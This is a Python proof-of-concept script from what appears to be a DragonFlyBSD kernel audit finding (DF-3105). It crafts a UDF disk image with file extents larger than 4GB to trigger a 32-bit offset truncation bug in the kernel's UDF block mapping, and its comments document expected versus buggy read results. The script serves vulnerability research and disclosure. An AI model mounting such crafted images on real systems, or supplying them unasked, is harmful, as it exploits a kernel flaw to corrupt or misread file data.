⬢ DragonFlyBSD Kernel Audit
DF-3105 / df3105_craft.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-3105 - craft a UDF image with a regular file whose extents span >4GB.
# File BIG: 5 x 0x3FFFF000-byte extents (pos=4) + final 0x2000 extent (pos=6).
# inf_len = 5*0x3FFFF000 + 0x2000 = 0x140001000 (~5.0GB)
#  - part-sec 4  (first sector of ext1): 0xBB fill
#  - part-sec 12 (intra-ext1 offset 0x4000 -> the CORRECT block for file
#                 offset 4GB when the kernel used the full 64-bit offset):
#                 0x55 fill
#  - part-sec 6..7 (ext6 data): 0xCC fill
# Expected correct behavior: mmap offset 0x100000000 (4GiB) reads 0x55
#   (ext5 covers [0xFFFFC000, 0x13FFFF000); 4GiB-0xFFFFC000 = 0x4000 into
#    ext5 -> part-sec 4 + 8 = 12)
# Buggy (uint32 truncation in udf_bmap_internal): offset 4GiB -> 0 -> ext1
#   part-sec 4 -> 0xBB
import sys, struct
sys.path.insert(0, '/tmp/opencode/v30')
import udflib as U

BSIZE=2048; PART_ST=64
EXT=0x3FFFF000
ADS=[(EXT,4)]*5 + [(0x2000,6)]
INF=EXT*5+0x2000

def fe_big(pr_sec):
    return U.file_entry(pr_sec, 5, 0, 0, 8*len(ADS), INF, INF//2048, ads=ADS)

def root_extent():
    buf=bytearray(BSIZE)
    fids=[]
    fids.append((U.fid_desc(0x08|0x01,0,0,b"",1),38))
    fids.append((U.fid_desc(0x01,4,0,b"\x08BIG",2),42))
    off=0
    for f,tot in fids:
        buf[off:off+len(f)]=f; off+=(tot+3)&~3
    assert off==84,off
    return bytes(buf), off

img=bytearray(4096*BSIZE)
def put(sec,data): img[sec*BSIZE:sec*BSIZE+BSIZE]=data[:BSIZE]

put(16,U.vrs_entry("BEA01")); put(17,U.vrs_entry("NSR02")); put(18,U.vrs_entry("TEA01"))
put(32,U.pvd()); put(33,U.pd()); put(34,U.lvd())
put(64+0,U.fsd())
rde,dlen=root_extent()
put(64+1,U.file_entry(1,4,0,0,8,dlen,1,ads=[(2048,40)]))
put(64+2,fe_big(2))
put(64+40,rde)                     # root dir extent at part-sec 40
b=bytearray(BSIZE)
for i in range(BSIZE): b[i]=0xBB
put(64+4,bytes(b))                 # ext1 first sector
for i in range(BSIZE): b[i]=0x55
put(64+12,bytes(b))                # correct block for 4GiB offset (via ext5)
for i in range(BSIZE): b[i]=0xCC
put(64+6,bytes(b)); put(64+7,bytes(b))   # ext6
put(256,U.anchor())
open('/tmp/opencode/v30/df3105.udf','wb').write(bytes(img))
print("wrote df3105.udf inf_len=%#x (%d bytes)" % (INF, INF))